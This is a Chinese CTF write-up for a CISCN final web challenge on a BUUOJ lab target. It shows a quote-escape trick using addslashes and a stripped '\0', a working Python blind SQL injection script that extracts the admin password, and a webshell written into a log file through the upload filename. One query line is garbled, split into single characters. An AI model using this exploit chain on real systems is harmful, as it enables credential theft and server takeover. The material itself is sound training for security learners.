进入环境是一个登录界面检查页面元素没有发现啥,我们把源码下载下来看看先看config文件
是一个数据库文件
数据库名为ciscnfinal
接着看function文件
我们可以看到有关登录界面的还有两个函数方法
看image文件Get传递两个参数
把一些字符替换成空Addslashes()函数会把一些特殊的字符转义,比如单引号转为\’,\转为\其他的看了下,没有什么信息就过掉了
我们看下upload文件要求我们用户名必须为admin
这里我们可以获得用户名admin在user文件中我们可以知道成功登陆后的界面信息和一些弹窗信息
重点部分其实就是我们的images文件中的内容
我们来他的核心代码是没有任何绕过的
我们可以根据他的Addslashes()函数和replace()函数来构建sql语句进行注入
试想这是我们id=\0,则在addslashes后变为id=\0,随后将\0其清空,那么这是id=\,正好可以使单引号逃逸出来,变成:
r
e
s
u
l
t
=
m
y
s
q
l
i
q
u
e
r
y
(
result=mysqli_query(
result=mysqliquery(con,“select * from images where id=’ ’ or path=’ {$path}’”);
可以看到现在id的值为’ or path=,所以path就可以进行盲注了
我们可以写一个脚本来把密码跑出来
而且我们刚刚分析源码的时候其实已经知道啦数据库名和表名
数据库名:ciscnfinal
表名:users,image
字段名:password,username
直接查询字段内容就行
脚本如下 :
import requests
url = "http://577ef033-d362-4101-a177-e3bf762e42f2.node3.buuoj.cn/image.php?id=\\0&path="
payload = " or ascii(substr((select password from users),{},1))>{}%23"
result = ''
for i in range(1,100):
high = 127
low = 32
mid = (low+high) // 2
# print(mid)
while(high>low):
r = requests.get(url + payload.format(i,mid))
# print(url + payload.format(i,mid))
if 'JFIF' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(mid)
print(result)
拿到密码登录我们可以看到当前所处的位置为user.php
我们再去看下源码
并没有什么信息。
我们先测试一下
老习惯,直接上传带一句话的图片文件
???
把我的文件名写入了一个日志文件里??
那我直接修改文件名为一句话不就行了
额。。这儿有点蒙,查了下修改后上传成功写入
菜刀连接